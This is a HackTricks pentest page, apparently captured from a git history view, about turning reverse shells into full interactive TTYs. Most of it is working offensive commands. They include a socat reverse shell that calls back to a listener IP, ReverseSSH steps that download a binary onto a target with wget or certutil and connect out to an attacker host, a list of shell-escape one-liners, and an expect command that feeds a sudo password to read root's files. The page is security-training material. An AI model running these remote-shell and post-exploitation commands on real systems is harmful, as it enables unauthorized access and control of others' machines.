hacktricks/generic-methodologies-and-resources/reverse-shells/full-ttys.md

146 lines
6 KiB
Markdown
Raw Normal View History

2022-05-08 23:13:03 +00:00
# Full TTYs
2022-04-28 16:01:33 +00:00
2024-07-18 16:21:56 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 16:21:56 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 16:21:56 +00:00
<summary>Support HackTricks</summary>
2024-02-02 12:19:57 +00:00
2024-07-18 16:21:56 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 16:21:56 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-08 23:13:03 +00:00
## Full TTY
2020-08-19 11:54:25 +00:00
2022-09-13 16:44:14 +00:00
Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`.
2020-08-19 11:54:25 +00:00
#### Python
{% code overflow="wrap" %}
2020-08-19 11:54:25 +00:00
```bash
2021-03-10 17:37:53 +00:00
python3 -c 'import pty; pty.spawn("/bin/bash")'
2020-08-19 11:54:25 +00:00
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```
{% endcode %}
{% hint style="info" %}
You can get the **number** of **rows** and **columns** executing **`stty -a`**
{% endhint %}
2020-08-19 11:54:25 +00:00
#### script
{% code overflow="wrap" %}
2020-08-19 11:54:25 +00:00
```bash
script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
2020-08-19 11:54:25 +00:00
```
{% endcode %}
#### socat
2020-08-19 11:54:25 +00:00
2020-12-12 00:12:28 +00:00
```bash
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
2022-05-08 23:13:03 +00:00
### **Spawn shells**
2020-08-19 11:54:25 +00:00
* `python -c 'import pty; pty.spawn("/bin/sh")'`
* `echo os.system('/bin/bash')`
* `/bin/sh -i`
* `script -qc /bin/bash /dev/null`
* `perl -e 'exec "/bin/sh";'`
* perl: `exec "/bin/sh";`
* ruby: `exec "/bin/sh"`
* lua: `os.execute('/bin/sh')`
* IRB: `exec "/bin/sh"`
* vi: `:!bash`
* vi: `:set shell=/bin/bash:shell`
* nmap: `!sh`
2022-05-08 23:13:03 +00:00
## ReverseSSH
2021-07-21 19:20:57 +00:00
A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target.
Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/).
1. Prepare locally to catch the ssh port forwarding request:
{% code overflow="wrap" %}
2021-07-21 19:20:57 +00:00
```bash
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -v -l -p 4444
2021-07-21 19:20:57 +00:00
```
{% endcode %}
2021-07-21 19:20:57 +00:00
2022-05-08 23:13:03 +00:00
* (2a) Linux target:
2021-07-21 19:20:57 +00:00
{% code overflow="wrap" %}
2021-07-21 19:20:57 +00:00
```bash
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
```
{% endcode %}
2021-07-21 19:20:57 +00:00
2022-05-08 23:13:03 +00:00
* (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)):
2021-07-21 19:20:57 +00:00
{% code overflow="wrap" %}
```bash
2021-07-21 19:20:57 +00:00
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 kali@10.0.0.2
```
{% endcode %}
2021-07-21 19:20:57 +00:00
2022-09-13 16:44:14 +00:00
* If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`:
2021-07-21 19:20:57 +00:00
```bash
# Interactive shell access
ssh -p 8888 127.0.0.1
# Bidirectional file transfer
sftp -P 8888 127.0.0.1
```
2024-09-15 16:40:14 +00:00
## Penelope
Penelope (https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells.
![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e)
2021-07-21 19:20:57 +00:00
2022-05-08 23:13:03 +00:00
## No TTY
2020-08-19 11:54:25 +00:00
2022-09-13 16:44:14 +00:00
If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file:
2020-08-19 11:54:25 +00:00
```bash
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
```
2024-07-18 16:21:56 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 16:21:56 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 16:21:56 +00:00
<summary>Support HackTricks</summary>
2024-02-02 12:19:57 +00:00
2024-07-18 16:21:56 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 16:21:56 +00:00
{% endhint %}